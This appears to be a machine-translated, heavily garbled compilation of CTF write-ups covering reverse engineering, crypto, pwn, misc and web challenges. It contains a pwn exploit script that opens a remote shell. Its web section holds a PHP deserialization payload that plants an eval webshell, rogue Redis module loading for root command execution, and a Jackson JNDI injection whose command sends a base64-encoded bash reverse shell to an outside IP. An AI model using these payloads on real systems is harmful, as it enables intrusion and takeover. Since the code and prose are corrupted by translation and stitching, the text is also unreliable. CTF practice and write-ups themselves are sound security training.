0x88、0xdf、0xb8、0xe9、0x01、0xe9、0xde、0xe5、0x86、0x68、

0x8f、0x24、0xd3、0x5a]

k=[0x58,0xa1,0xcb、0xe9,0xed、0x2c、0xec、0xfb、0xe9,0xc4,0x16,0x97,0x99,0xb1,0xa4,0xe9,0xc3,0xcccc6,0x80,0xbf 4,0x18,0x2e、0x73,0x56,0x52,0xb8,0x5b、0x66,0xed、0xbc、0x8a、0xd8,0x36,0x8f、0xe6,0xd3,0xb1,0x51,0xb9,0x59,0xd3,0x5a

f=''

範囲(len(k)):のiの場合

f+=chr(q [i]^k [i])

印刷f

フラグ{3e625fe0-FB18-4F87-93C1-1EC217F86796}

wow

UPX -Dシェルなし

このセクションにパッチを当てます

.text:00402352 $+5を呼び出します

.text:00402357追加[ESP+4+var_4]、6

.text:0040235b dec eax

.text:0040235c retfint __cdecl main(int argc、const char ** argv、const char ** envp)

{

int *v3; //esi

int *v4; //EBP

int v5; //ECX

int v6; //EBP

int v7; //esi

int v8; //ECX

int v9; //edi

署名されていないint i; //EBX

署名されていないINT V11; //ECX

署名されていないINT V12; //edx

署名されていないINT V13; //ECX

int *v15; //[ESP+10H] [EBP-68H]

int v16; //[ESP+2CH] [EBP-4CH]

int v17; //[ESP+30H] [EBP-48H]

int v18; //[ESP+34H] [EBP-44H]

Char V19 [24]; //[ESP+38H] [EBP-40H] byref

Char V20 [24]; //[ESP+50H] [EBP-28H] byref

int v21; //[ESP+74H] [EBP-4H]

int savedregs; //[ESP+78H] [EBP+0H] Byref

v4=savedregs;

sub_4024c0(v20);

V21=0;

sub_402740(dword_42afd0、v20);

scanf(v19、input);

lobyte(v21)=1;

if(strlen(v20)!=36)

{

printf((int)unk_42ae80、 '間違った\ n');

V17=0;

V16=0;

label_9:

*((_ byte *)v4-4)=0;

sub_402430(v4-16);

*(v4 -1)=-1;

sub_402430(v4-10);

return *(v4-19);

}

v18=sub_402420(v20);

V15=V3;

v5=*(_ dword *)(v18 + 34);

V6=12;

v7=0;

する

{

V7 +=0x67452301;

v8=v5 -1;

V9=V7 + 4;

for(i=0; i 8; ++ i)

{

V11=V8 + 2;

v12=(((v11 + 1)3) +(v7 ^(16 *(v11 + 1)))))))))))))))) +(v7 ^(16 *(v11 + 1))) ^((v11 + 1)3))

+((v11 5) ^(4 * v11)));

*(_ dword *)v12 +=v12;

V6 +=2;

V9 +=4;

v8=*(_ dword *)v12 + 1;

}

v13=*(_ dword *)v12 + 3;

*(_ dword *)(v7 + 32) +=(((((v13 + 1)3) +(v7 ^(16 *(v13 + 1))))))))))))))

+((v13 5) ^(4 * v13)));

v5=*(_ dword *)(v7 + 32);

V6 +=2;

}

while(v6);

V4=V15;

if(sub_4029f0(v15-10、v15-16))

{

printf((int)unk_42ae80、 'right \ n');

*(v15-19)=0;

goto label_9;

}

printf((int)unk_42ae80、 '間違った\ n');

*((_ byte *)v15-4)=0;

sub_402430(v15-16);

*(v15-1)=-1;

return sub_402430(v15-10);

}

ほぼXXTEA暗号化です

アセンブリを見て、key=[0xefcdab89、0x10325476、0x98badcfe、0xc3d2e1f0]を見つけます

デルタ0x67452301

秘密のテキスト

0xd8f758f5、0x526849db、0xe2d72563、0x485eefac、0x608f4bc6、0x5859f76a、0xb03565a3、0x3e4091c1、0xd3db5b9a

復号化するためにオンラインでスクリプトを見つけます

#include stdio.h

#include stdint.h

#define delta0x67452301

#define mx(((z5^y2) +(y3^z4))^((sum^y) +(key [(p3)^e]^z)))

void xxtea(uint32_t* v、int n、uint32_t* key)

{

uint32_t y、z、sum;

符号なしP、ラウンド、E;

if(n&g

crypto

vigenere

https://www.boxentriq.com/code-braking/vigenere-cipher webサイトでのブラストは、key:asterismを取得します

image-20211127100844149

ファルグを取得するための復号化。

image-20211127162758654

または

Vigenereというタイトルによると、バージニアのパスワードであることがわかります

keu44urjshe6875.png

オンラインデコードツールでのクラッキング

https://guballa.de/vigenere-solver

e55rbjmpz2r6876.png

フラグ:フラグ{53D613FC-6C5C-4DD6-B3CE-8BC867C6F648}

pwn

supercall

シンプルなスタックオーバーフロー、libcsearcherを使用して、質問からリークされた_io_2_1_stdin_の実際のアドレスを介してlibcベースアドレスを見つけ、one_gatgetを使用してシェルを取得します。

#!/usr/bin/env python# - * - encoding: utf-8-* - '' '@file : exp.p.p.p.p.p.p.p.p.p.p.p.p.p.13:3933:07@著者: lexsd6' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' '' *local_mote=0elf='。/supercall'e=elf(elf)#context.log_level=' debug'context.arch=e.archip_port=['123.57.207.81'、16985] debug=lambda : gdb.attach(p)if local_mote===1 3360 P=Process(ELF)else : p=remote(ip_port [0]、ip_port [-1])#0x000000000000026796 : pop rdi; retstack_addr=int(p.recvuntil( '、')[:-1]、16)stdin_addr=int(p.recv()、16)log.info(hex(stack_addr))log.info(hex(stdin_addr))x=finder( '_ io_2_2_1_stdin_' ' 9: Local-46E93283FF531:E02A73AE5B5BA375410855(ソースfrom:/mnt/d/filewsl/supercall/libc-2.27.so)p.sendline( '1'*8+'2'*8+'3'*7)p.sendline( '\ x00'*0x10+'x'*8+p64(x.gg(num=0)) execve( '/bin/sh'、rsp+0x40、環境)制約: rsp0xf==0 rcx==null '' 'p.interactive()

その後、遠隔猫の旗で。

[+] Gadget:0x4f3d5 [*]インラートモードへの切り替え$ lsbindevflagliblib32lib64supercall $ cat f*flag {2f3f3f3632-6484-4c00-82f3-a63e0d4340d9} $

resnake

質問にはUPXシェルがあることがわかりました。無セリングの後、私はそれをIDAで開いてレビューし、暗号化されたフラグ機能が疑われることがわかりました。

int sub_40186f(){char v1 [256]; //[ESP+18H] [EBP-910H] char dst [2048]; //[ESP+118H] [EBP-810H] int j; //[ESP+918H] [EBP-10H] int i; //[esp+91ch] [ebp-ch] sub_4021ad(22、18); scanf( '%s'、v1); for(i=0; v1 [i]; ++ i); sub_4017d2(v1、i); #fun2 memset(dst、0、0x800u); sub_4015f7(v1、dst、i); #fun1 sub_4021ad(22、20); for(j=0; dst [j]; ++ j){if(dst [j]!=a7g5d5baytmdlwl [j])return puts( '正しく〜もう一度来てください〜'); } return puts(asc_405016);}

fun2のフォローアップを続けてください。

int __cdecl sub_4017d2(int a1、int a2){int result; //eax int j; //[esp+8h] [ebp-ch] int i; //[esp +ch] [ebp-8h] for(i=1; i=10; ++ i){for(j=0; ++ j){result=*(unsigned __int8 *)(j +a1); if(!(_ byte)result)break; if(a2%i) *(_ byte *)(j + a1) ^=(_byte)i +(_byte)j; else *(_ byte *)(j + a1) ^=(unsigned __int8)(j%i) +(_byte)j; }} return result;}

入力文字列を使用することであり、各文字は位置に従って動作します。

Fun1は、文字列のbase64暗号化です。

while(v16 a3){v3=v13; V14=V13 + 1; *(_ byte *)(a2 + v3)=str [((signed int) *(unsigned __int8 *)(v16 + a1)2)0x3f]; v11=16 *(_ byte *)(v16 + a1)0x30; if(v16 + 1=a3){v4=v14; V5=V14 + 1; *(_ byte *)(a2 + v4)=str [v11]; *(_ byte *)(v5 + a2)='='; V6=V5 + 1; V13=V5 + 2; *(_ byte *)(v6 + a2)='=';壊す; } v7=v14; V15=V14 + 1; *(_ byte *)(a2 + v7)=str [((signed int) *(unsigned __int8 *)(v16 + 1 + a1)4)0xf | v11]; v12=4 * *(_ byte *)(v16 + 1 + a1)0x3c; if(v16 + 2=a3){ *(_ byte *)(a2 + v15)=str [v12]; V8=V15 + 1; V13=V15 + 2; *(_ byte *)(v8 + a2)='=';壊す; } *(_ byte *)(a2 + v15)=str [((signed int) *(unsigned __int8 *)(v16 + 2 + a1)6)3 | v12]; V9=V15 + 1; V13=V15 + 2; *(_ byte *)(a2 + v9)=str [ *(_ byte *)(v16 + 2 + a1)0x3f]; V16 +=3;}

ただし、デバッグ中に、FUN1の前に、関数がグローバル変数STR値を変更することがわかりました。

この関数は次のとおりです。

署名int sub_401536(){char v0; //ST13_1署名int result; //EAX署名int v2; //[ESP+14H] [EBP-14H] int j; //[esp+18h] [ebp-10h] int i; //[esp+1ch] [ebp-ch] v2=strlen( 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/'); for(i=0; v2/2 i; ++ i){for(j=0; v2 -i -1 j; ++ j){if(str [j] str [j +1]){v0=str [j]; str [j]=str [j + 1]; str [j + 1]=v0; }}} result=1; DWORD_406060=1; return result;}

だから私は自分の願いを満たすためにスクリプトを書きました:

base_flag=[]#x='7G5D5BAY+TMDLWLU5CDKMTLCJNWKNUGB2AQL3CMPPVF6DAP72SCOSL b'x='abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/' v2=len( 'abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789 + /') '' ' v0=str [j]; str [j]=str [j + 1]; str [j + 1]=v0; }} '' '' for x: base_flag.append(ord(i))print(base_flag)for i in range(v2 //2): in range(v2-i-1): if base_flag [j] base_flag [j+1] 3360 v0=base_flag [j] base_flag [j] base_flag [j+1]=v0

本当のstrを入手してください:abcdefghijklmnopqrst0123456789+/uvwxyzabcdefghijklmnopqrstuvwxyz

fun1とfun2機能のソースをリバースコンピングする際に、フラグを取得します。

base64Table='abcdefghijklmnopqrst0123456789+/uvwxyzabcdefghijklmnopqrstuvwxyz'table2='abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyz0123456789+/' tmp='7g5d5bay+tmdlwlu5cdkmtlcjnwknugb2akl3cpmppvftv'tlb '2coslb'tlb '2coslb'tlb '2coslb'tfmp2 '2coslb'tfmptv'tfmptv'tfmptv'tfmp2'slb'tfmptv'tfmptv'tfmptv'tfmptv'tfmptv'tfmptv'tfmptv'tfmptv'tfmptv'p In tmp:Index=table.index(i)tmp2 +=table2 [index] k=base64.b64decode(tmp2 +'==')nre='' kk=[] for i in ren(len(k)): kk.append(kk [i])print(kk)a2=len(kk)a2=len(kk)a2=len(kk)a2=len(kk)範囲(10)): i=i+1 for j in range(len(kk)): print(str(a2%i)+''+str(i))if a2%i!=0: kk [j]^=(i+j)els : kk [j]^=(j%i)+j)+j)プリント(kk) I in(kk): flag+=chr(i)print(flag)exit flag

フラグ{5E2200BC-F21A-5421-A90B-57DEC19FE196}

Misc

質問

フォームに記入した後、フラグがあります

フラグ{世界に安全感をもたらしましょう}

helloshark

写真1049983-20211222031149018-2054777775.png010それを開き、16進システムに多くのPK単語があることを発見しました。画像は分離されて処理されます(何よりも)。 Sure enough, the compressed package is hidden, but the compressed package sets a password, prompting the password in the picture 1049983-20211222031149678-419976167.png guessing that the picture has LSB steganography, and use the tool zsteg for detection 1049983-20211222031150808-1198815657.png You can see that the password is @91902AF23C#276C2FC7EAC615739CC7C0 decompress the compressed package, and TCPフロー1049983-20211222031151693-1917563388.pngを追跡するためにトラフィックパケットを開きます

フラグ1049983-20211222031152736-1433897211.png Get Flag:Flag {a4e0a418-fced-4b2d-9d76-fdc9053d69a1} 1049983-20211222031153355-1706350009.pngを写真1049983-20211222031153355-1706350009.pngパスワード9527 1049983-20211222031154706-1095196364.png UNZIP、Open Excelファイル1049983-20211222031155397-1641696076.pngは6か月で構成されています。左側と底部は1です。6か月のデータを最初にまとめ、列の高さと列の幅1049983-20211222031156267-1374957463.png Add A ConditionAtを統合するQRコードです。文字列に1が含まれると、背景は黒で満たされます。1049983-20211222031157416-858435034.png Wechatはスキャンできません。スクリーンショットQRコード1049983-20211222031158041-1662164685.pngDATAMATRIX QRコードオンラインデコードツールhttp://boy.co.ua/decode.php flag zfua {b3s1o9in1nw0halunofunc0hm1} caesarパスワード復号化1049983-20211222031158699-451457556.pngのような旗のような文字列を取得するフラグ{h3y1u9ot1tc0ngratulati0ns1}

FROM:https://LEXSD6.GITHUB.IO/2021/11/27/2021%E5%B9%B4%E6%98%A5%E7%A7%8B%E6%9D%AFE7%BD%91%E7%BBB%9C%E5%A E%89%E5%85%A8%E8%81%94%E8%B5%9B%E7%A7%8B%E5%AD%A3%E8%B5%9B%E5%8B%87%E8%80%85%E5%B1%B1%E5%B3%B0/#CHRYPTO

Misc

1サインイン

難易度サインイン

与えられたフラグ入力をコピーします

2 range_download

難易度媒体

フラグ{6095B134-5437-4B21-BE52-EDC46A276297}

0x01

DNSトラフィックの分析では、DNSトンネルデータがDNS IP.ADDR=1.1.1.1に存在することがわかりました。ソート後、base64:が取得されます

CGFZC3DVCMQ6IG5ZC195EWRZIQ==

ソリューションbase64に:を取得します

Password: NSS_YYDS!

0x02

HTTPトラフィックの分析では、IP.ADDR==172.21.249.233にはHTTPセグメントダウンデータがあり、毎回リクエストヘッダー範囲の要件に従って1つのバイトのみがダウンロードされることがわかりました。ランダムダウンロードなので、順番にソートする必要があります。ソート後、暗号化された圧縮パッケージを入手できます。

照合プロセス中に、2349ビットのバイトが欠落していることがわかり、それを修正する必要があります。

0x01でzipパスワードを取得するため、バイトを爆破できます。パスワードが正しい場合は、修理が成功します。

0x03

圧縮パッケージを解凍してQRコードを取得します。

スキャン後、を取得します

5133687161454E534E6B394D4D325A7854752335666870626A42554E6A5A5A56454666C4E4786A6A62324E464D477 05557464635546D6C536148565165564659645563774E327073515863324F58465555247314555564134555555570707434 4686957444D336544684C596C42555556E633636E687165486C75644464133515157470566E4242526B6C4A54577 316C515452754D555661636E4A785955643056C4D3559557844656A4A35626C6834D6D6D5A4C51513D3DCIPHEY分析はフラグを取得しました:

Ciphey '5133687161454E534E6B394D4D325A7854752335666870626A42554E6A5A5645466C4E4786A6A62324E464D477 05557464635546D6C536148565165564659645563774E327073515863324F584655552473145555641345555555555555555555 707063444686957444D3365444684C596C4255556E6333636E687165486C756444444135157747056666E422526BB6C 4A5457316C515452754D555661636E4A785956430566C4D355557844656A4A4A35626C6834D6D5A4C51513D3D3D'可能なplaintext: '5133687161454e534e6b394d4d325a7854475235666870626a42554e6a5a5a56454666c4e47866 A62324E464D47705557464635546D6C5361485651655564659645563774E3270707351586324F584655555247314555555641345555 570706344686957444D3365444684C596C4255556E63333636E687165486C7564444413515774705666E4242526B6C4A5457316 C515452754D5555661636E4A7859556430566C4D3559557844656A4A35626C6834D6D5A4C51513D3D '(Y/N): PLAINTEXT: '5133687161454v534v6y394w4w325z7854752335666870626Z42554v6z5z5z5645466x4v47786 Z62324V464W477055574646355546W6X53614856516555646596455637774v3270707351586324U5846555524731455555555555555555555555555555555555555555555 57070634446869574444W3365444684x596x4255556v63333636v687165486x75644444413515774705666666666666v4242526y6z54457316 X515452754W5555661636V4Z7859556430566x4W3559557844656Z4Z35626X68334W6W5Z4X51513W3W '(Y/N): PLAINTEXT: 'w3w31515x4z5w6w43386x62653z4z656487559553w4x6665546559587z4v636166555w45725451 5x6137545Z4X6Y6252424v6665074775153314644657x684561786v6363336v6v65655555524x695x486445633w44447596888436070 7555431465555554137425556485U42368515370723V477365554695646556156565841635x6W645536447555555555554W464v4232 6Z68774V4X6645465Z4Z5Z6V45524Z6260786V665332574587Z523W4W493Y6V435V4541617863315 '(Y/N): Plaintext: 'D3D31515C4A5D6D43386C62653A4A656487559553D4C6650346559587A4E636166555D45725451 5C6137545A4C6B6252424E665074775153314644657C684561786E6363336E65555555524C695C486445633D4444447596864436070 7555431465555554137425556485F42368515370723E477736554695646556156565841635C6D645536664755555555555555554D44E4232 6A68774E4C64545465A4A5A6E45524A6260786E665332574587A523D4D493B6E435E4541617863315 '(Y/N): Plaintext: 'フラグ{6095b134-5437-4b21-be52-edc46a276297}'(y/n):y╭-〜七面の七面

flaintextはキャプチャザフラグ(CTF)フラグです│

│使用した形式:│

hexadecimal│

base64│

│UTF8│

base62│

base58_bitcoin│

base32│

│utf8plaintext: 'flag {6095b134-5437-4b21-be52-edc46a276297}'│ ┰┰。-七面には、そして七面大。七面─〜ちなみ、そして七面、そして七面お願いします七面

OSをインポートします

インポート時間

リクエストをインポートします

ランダムをインポートします

'cg fz c3 dv cm cm q6 ig 5z c1 95 ew rz iq=='。分割( ''):

os.system( 'nslookup' + i + '。nss.neusoft.edu.cn1.1.1.1')

time.sleep(5)

l=int(requests.head( 'http://172.21.249.233/flag.7z'、stream=true).headers ['content-length'])

a=set()

一方、len(a)!=l:

b=random.randint(0、l)

r=requests.get( 'http://172.21.249.233/flag.7z'、stream=true、headers={'range ':' bytes=' + str(b) +' - ' + str(b)}))

r.status_code==416:の場合

印刷(b)

A.Add(b)

印刷(レン(a))

0x04

サインインの難易度

フラグ:flag {zhe_ti_mu_ye_tai_bt_le_xd}

この質問では、PNG構造と一般的なツールの使用を調べます。

問題は、不必要なZLIBデータストリームをIDATデータに保存することです。これは、Binwalkを介して直接解凍できます。

binwalk -me png.png 1049983-20211222030501652-1228875315.png

3は単なるPNGです。PNGを考えすぎないでください

難しい

フラグ:

フラグ{zheshirenchude}

この質問は、PNG構造と一般的な質問の理解度を調べます

タイトルを開くPNG画像、ビンウォークには例外がありません1049983-20211222030502534-596327598.png

010Editorがオープンしたとき、CRCの例外が見つかりましたが、当面は構造に問題はありませんでした。1049983-20211222030503265-982398738.png

Opening TweakPNGは、IHDR、IDAT、およびIENDデータブロックのCRC値が正しくないことを発見しました。1049983-20211222030503999-1878144728.png 1049983-20211222030504511-275909335.png 1049983-20211222030504972-99658495.png

次に、Stegsolveを使用して表示し、写真に隠された箱があることがわかります。 IDATデータはボックス内で選択されており、表示する必要があるIDATデータの特別な機能が必要であることを示しています。1049983-20211222030505532-548234956.png

写真自体についてはそれほど多くの情報しかありません。 PNG構造から、PNG構造の観点からは、まず第一に、IHDRブロックCRCに問題があります。一般的に、画像の高さが変更されます。 CRC逆計算スクリプトを介して(または盲目的に高さ値を直接変更する)ことで、写真の下に隠された画像があることがわかります。 Stegsolveを確認して、隠されたパターン1049983-20211222030506079-1817329692.png 1049983-20211222030506755-897769183.pngを見つけました

3つのボックスは、PNG画像の一部のデータ構造を囲み、2番目のボックスはZLIBを使用してPNG画像データが圧縮されていることを示しています。ここでボックスを選択して、ZLIB圧縮データに注意を払う必要があることを示します。

3番目のボックスは、特定の圧縮ブロックデータ構造です。この写真の内容は、LIBPNGの公式Webサイトのスクリーンショットですが、実際に公式Webサイトにアクセスすると、ラベル付けされた圧縮ブロック構造が一致しないことがわかります。1049983-20211222030507373-73800850.png

数字は意図的に変更されているため、2233シリーズの数字がタイトルの特定のキーまたはヒントである必要があることがわかります。

その後、すべてのIDATデータブロックCRC値が正しくありません。すべてのCRC値をコピーします。ヘックスデコード。ヒントだとわかりました

ヒンティス[iend_and_11] _jiayou_xd。1049983-20211222030507811-734911024.png

ヒントによると、IENDを表示すると、通常のIENDデータは空で、ファイルフラグの終わりとしてのみ機能する必要があります。しかし、今ではデータがあります。1049983-20211222030508428-28381319.png

データを抽出すると、最初の4ビットは9c 78であり、ZLIBデータヘッダーは78 9cであることがわかりました。最初の4桁を変更して減圧します。それはbase64であり、その後デコードされていることがわかりました。最後に、旗の最初の段落が取得されます

フラグ{Zheshi 1049983-20211222030509073-1734863308.png

最初の段落を取得した後、ヒントの11はまだ解決されていません。表示することにより、最後のIDATデータブロックであるChunk 11が発見されます。前のものによると、ヒント2233があり、完全なデータブロック検索は2233です。データブロックの終わりには2233が含まれていることがわかりました。

前のフラグによると、これはZlib圧縮でもあり、2233の初めからCRC値までの32ヘクスの値がコピーされ、2233がZLIBデータヘッダー78 9Cに変更されると推測されます。

デコードされたデータはエンコーディングであることがわかりました。前のフラグによると、これは他の基本家族クラスのエンコードであるべきです。 BaseCrackまたはオンラインベースデコードを通じて、これはBase91であり、Renchudeとしてデコードされていることを知ることができます}

後者のフラグは、Renchude} 1049983-20211222030510746-1247567803.png 1049983-20211222030511339-234043963.png 1049983-20211222030511908-1842991030.pngです

最終フラグを取得するには、2つのセクションをマージします

フラグ{zheshirenchude}

4 PNGは非常にひどくbeatられ、常にカムバックしています

難易度シンプル

PDFを表示します

テキスト1049983-20211222030512378-1896506921.png 1049983-20211222030512820-1477296061.png 1049983-20211222030513167-1945991591.png 1049983-20211222030513542-991496449.pngでより軽くて軽くするための多くのヒントを見つけました

フラグが白のテキストに隠されていると考えて、すべてのテキストを選択してください

2番目から最後のパラグラフ1049983-20211222030514029-1509206465.pngの終わりに空白の言葉を見つけました

他の色にコピーまたは編集します

フラグを取得します

フラグ{hey_there_is_no_thing}

ここで、

です

難易度:難易度

この質問では、単純なテキスト攻撃の実用的な応用を検証します。実際の環境では、プレーンテキストファイルは、プレーンテキスト攻撃のために積極的に提供されません。自分で攻撃するために、プレーンテキストファイルまたはプレーンテキストを見つける必要があります。

圧縮パッケージには、2つのファイルライセンスとreadme.mdが含まれています

ライセンスはオープンソース証明書ファイルです

通常のオープンソースプロトコルをすべてダウンロードして、サイズを比較します

Apache2.0のサイズは非常に似ていることがわかります

githubの内蔵ライセンスファイルを使用して、それを正常に復号化する

簡単な方法もあります。多くのオープンソースライセンスは、スペースから始まります。複数の複製スペースをプレーンテキストとして直接使用できます。

6 eviptedzip

難易度シンプル1049983-20211222030514412-431078811.png

ロケーターがないQRコードを見ることができます。それを完了すると、あなたはプロンプトを取得します:一般的な暗黙の執筆

画像を分離して、圧縮パッケージを取得します

減圧後、Stegpyを使用してフラグを取得します

フラグ{do_u_kn0w_ste9py ?}

7 easysteg

難易度シンプル

最初のレイヤーは50996.zipです

スクリプト復号化再帰圧縮パッケージ300レイヤーの書き込み

8圧縮パッケージ圧縮パッケージ圧縮パッケージ

mkdir zips

mkdir zips/files

MV 50996.ZIP ./ZIPS

CD zips

:

する

file=$(ls -t | tail -1)

pass=$(zipinfo $ file | grep- | cut -d '' -f12 | cut-d。-f1)

unzip -p $ pass $ファイル

echo 'unzip -p $ pass $ file'

mv $ file ./files

終わり

最後のレイヤーは233333です。6桁の数値パスワードは756698です

SQLiteを開いて、従業員のテーブルに旗を見つけます

フラグ{UNZ1P_I5_SO_C00L ##}

問題解決スクリプト

web

難易度媒体

9フラグ

ヒトの肉の並べ替え、次に精神的にBase64を計算します

解決策1

および他のWebサイトには十分な出力があり、コピーしてから、ほとんどのテキストエディターがサポートする検索/交換関数を使用して、メッセージを次のような形式に置き換えます。

a=list( 'a' * 20)

.

a [1]='a'

a [20]='b'

a [3]='c'

.

# やっと

base64をインポートします

print(base64.b64decode( ''。(a)))

解決策2

質問SSEはリアルタイムでメッセージをブラウザにプッシュします。ルートは「/フラグ」です。

インポートBase6

web

1.ESAY_EVAL

?PHPクラスA {public $ code=''; function __call($ method、$ args){eval($ this-code); } function __wakeup(){$ this-code=''; }} class b {function __destruct(){echo $ this-a-a(); }} if(isset($ _ request ['poc'])){preg_match_all( '/' [ba] ':(。*?):/s'、$ _ request ['poc']、$ ret); if(isset($ ret [1])){foreach($ ret [1] as $ i){if(intval($ i)!==1){exit( 'wake wakeup?no!'); }} unserialize($ _ request ['poc']); }} else {highlight_file(__ file__); }

簡単な分析は、__wakeup関数をバイパスすることができます。

機能に関するこの記事を読むpreg_match_all php preg_match_all()関数の紹介と使用法-feiniao muyuブログ(feiniaomy.com)

最後に、$ ret [1]の2つの変数を1に等しくする必要があります。なぜなら、intval($ i)!==1の制限があるため(これはバイパスする場合は問題ありません。なぜなら、PHPの変数名はケースに敏感であり、機能名、メソッド名、およびクラス名はケースに敏感ではないため)。ウェイクアップをバイパスするために1つを出すだけです。

ペイロードを構築します

?php

クラスA {

public $ code='';

パブリック関数__construct(){

$ this-code='eval(\ $ _ post [1]);';

}

}

クラスB {

パブリック関数__construct(){

$ this-a=new a();

}

}

Echo Serialize(new B());

$は、シリアル化が実行されるときに実行されることを恐れているため、その前に追加されます。

1049983-20211224170339728-1967965652.jpg GET O:1:'B':1: {s:13360'a '; o:1:'a': 1: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、 Aを小文字に変更すると、次の番号を変更してバイパスできますO:1:'B':1: {s:13360'a '; o:1:'a': 2: {s:43360'code '; s:193360'eval($ _ request [1]);';}}、アリの剣を接続してシェルを取得します

コード監査、直接脱力化は、テンテイジャンを構築します

1049983-20211224170340216-581797451.jpg

小文字オブジェクトAバイパス

ペイロード

?poc=o:1:'b':1: {s33601:'a '; o:1:'a'3 33602: {s:4:'code '; s:16:'eval($ _ post [0]);';}}}} Ant Sword Connectionは、disable_functionがあることを発見しました。アリの剣によって持ち込まれたバイパスを試してみて、ウェブサイトのルートディレクトリにconfig.php.swp vi-rがあることがわかりました。 Redisパスワードはそうであることがわかりました

github上のredis rceを備えた悪意のあるSOファイルをTMPディレクトリにアップロードし、悪意のあるモジュールRCEをANT Sword Redisプラグインでロードする

1049983-20211224170340691-681623030.png

Redisは悪意のある負荷を負うので、シェルを取得します

Ant Swordは構成を見つけて復元しました

1049983-20211224170341050-13255766.png

それをダウンロードしてLinuxに投げてVIで復元します

VI -R config.php

1049983-20211224170341416-1081333836.jpg

このRedisパスワードは偽造すぎるように見えますが、それは本当です。 Ant SwordのRedisプラグインを使用して接続します

1049983-20211224170341920-1119731240.png

それから私はレディスを打った。 phpinfoにopen_basedirがあることがわかりました。まだ使用できるTMPがあるので、悪意を持ってアップロードしますので

1049983-20211224170342306-189304732.pnghttps://github.com/dliv3/redis-rogue-server

アリの剣を直接使用します

1049983-20211224170342685-131854183.png

Redisプラグインを使用してRedisを接続します

127.0.0.1:6379モジュールLoad /tmp/exppadding.so

わかりました

127.0.0.133606379 System.exec 'id'

'uid=0(root)gid=0(root)グループ=0(root)\ n

1049983-20211224170343111-1023030855.jpg添付のローカル環境」:

ubuntu:16.04から

src/sources.list /etc/apt/sources.listcopy src/redis-4.0.9 /home/redis-4.0.9をコピーします

Apt-Getアップデート\ Apt-Getインストール-Y Curl \ Software-Properties-Common \ Python3-Software-Properties \ python-software-properties \ unzip \ vim

apt -get install -y apache2runサービスapache2再起動を実行します

locale -arunエクスポートLang=C.UTF-8 \ Add-Apt-Repository PPA:ONDREJ/PHP \ APT-GETアップデート

apt -getインストールを実行します-y libapache2-mod-php7.0 \ libzend-framework-php \ php7.0-cli \ php7.0 \ php7.0-bcmath \ php7.0-bz2 \ php7.0-cgi \ php7.0-common \ php7。 0-fpm \ php7.0-gmp \ php-http \ php-imagick \ php7.0-intl \ php7.0-json \ php7.0-mbstring \ php-memcache \ php-memcached \ php7.0-mysql \ \ php7.0-recode \ php7.0-gd \ php7.0-mcrypt \ php7.0-xml \ php7.0-pdo \ php7.0-opcache \ php7.0-curl \ php7.0-zip

apt install -y gcc \ makeを実行します

Cd /home/redis-4.0.9 \ cp -r /home/redis-4.0.9/usr/local/redis \ cd/usr/usr/redis \ make prefix=/usr/local/redisインストール\ export redis_home=/usr/local/redis \ export path=$ path33: $ redis_home/bin/bin/bin

src/tmp/srcrun mv /tmp/src/web.ini /etc/php/7.0/apache2/conf.d/php.ini \ rm -rf/var/www/html \ mv/tmp/src/html/var/www/html \ mv/htmp//start.sh \ chmod +x /start.sh

80を公開します

cmd ['/start.sh']

その中で、web.iniはphpの構成ファイルであり、disable_functionなどに設定できます。

2.Jackson

元のタイトルについては話しません

https://www.redmango.top/article/61#javaweb

まず、タイトルで与えられたpom.xmlを見てください

Shiro1.5.1、CC3.2.1タイトルはジャクソンです

その後、アクセスルートをバイパスし、ジャクソンを介してCCチェーンを脱上することはシロの検証である必要があります

ログインする必要があるJSONルートがあることがわかりました。

1049983-20211224170343802-297338680.jpgその後、ツールに直接移動します:https://github.com/welk1n/jndi-injection-exploit

Java -jar Jndi-injection-exploit-1.0-snapshot-all.jar -a '47 .100.27.114 '-C' Bash -C {echo、ymfzacatasa+jiavzgv2l3rjcc80ny4xmdaumjcumte0lzgwodggmd4mmq==} | {base64、-d} | {bash、-i} 'またはPOM.xmlでフレームワークバージョンをご覧ください。

1049983-20211224170344366-502955647.jpg 2021第二届“天翼杯”网络安全攻防大赛 Writeup by X1cT34m-小绿草信息安全实验室

ジャクソン脱介入+ JNDIインジェクション + LDAPリターンシリアル化データトリガーローカルガジェットバイパスJDK 8U_191リミット4

post/;/json http/1.1

HOST: 8.134.37.86:20947

user-agent: mozilla/5.0(windows nt 10.0; win64; x64; rv336092.0)gecko/20100101 firefox/92.0

Accept: Text/HTML、Application/XHTML+XML、Application/XML; Q=0.9、Image/Webp、*/*; Q=0.8

Accept-Language: ZH-CN、ZH; Q=0.8、ZH-TW; Q=0.7、ZH-HK; Q=0.5、EN-US; Q=0.3、EN; Q=0.2

Connection:閉じます

アップグレード-Insecure-Requests: 1

Cache-Control: Max-age=0

Content-Type:アプリケーション/JSON

Content-Length: 97

['ch.qos.logback.core.db.jndiconnectionSource'、{'jndilocation ':'ldap: //106.15.250.20.209:8091/a

紀元前'}]

1049983-20211224170345373-1153092748.jpgNCがリバウンドしました、ルートディレクトリにフラグを取得するだけです

1049983-20211224170345764-511421506.jpg

3.eztp

robots.txtを介してwww.zipソースコードを入手してください:

1049983-20211224170346158-861591018.jpg

1049983-20211224170346533-592200662.jpg

ディレクトリ構造:

1049983-20211224170346908-160724702.jpg

明らかなTPフレームワークが表示され、取得されます:5.0.10

当初、私はTPフレームワークのRCEを試しましたが、それは実りがありませんでした。だからあきらめます

次に、コントローラーにインデックスと管理者があることを確認します。

管理者コントローラー:

1049983-20211224170347332-929303291.jpg

インデックスコントローラー:

1049983-20211224170347750-1545368266.jpg

問題はないようです。

ただし、Admin Controllerのアップロードおよび列ディレクトリ操作にAdminにログインする必要があることがわかります。

したがって、それは注入する必要があり、バイドゥは検索しました

このバージョンのTPフレームワークインジェクション:https://www.cnblogs.com/wangtanzhi/p/12734685.html

ログイン管理アカウントを注入:

1049983-20211224170348174-1770961135.jpg

次に、管理者コントローラーのリストディールを確認すると、IS_DIR関数がPHARの脱必要異化をトリガーできることがわかります。

参照:https://www.anquanke.com/post/id/251318#h2-1

ただし、上記のPOCを使用することは、インターネット上のPOCから利用できないことがわかります。

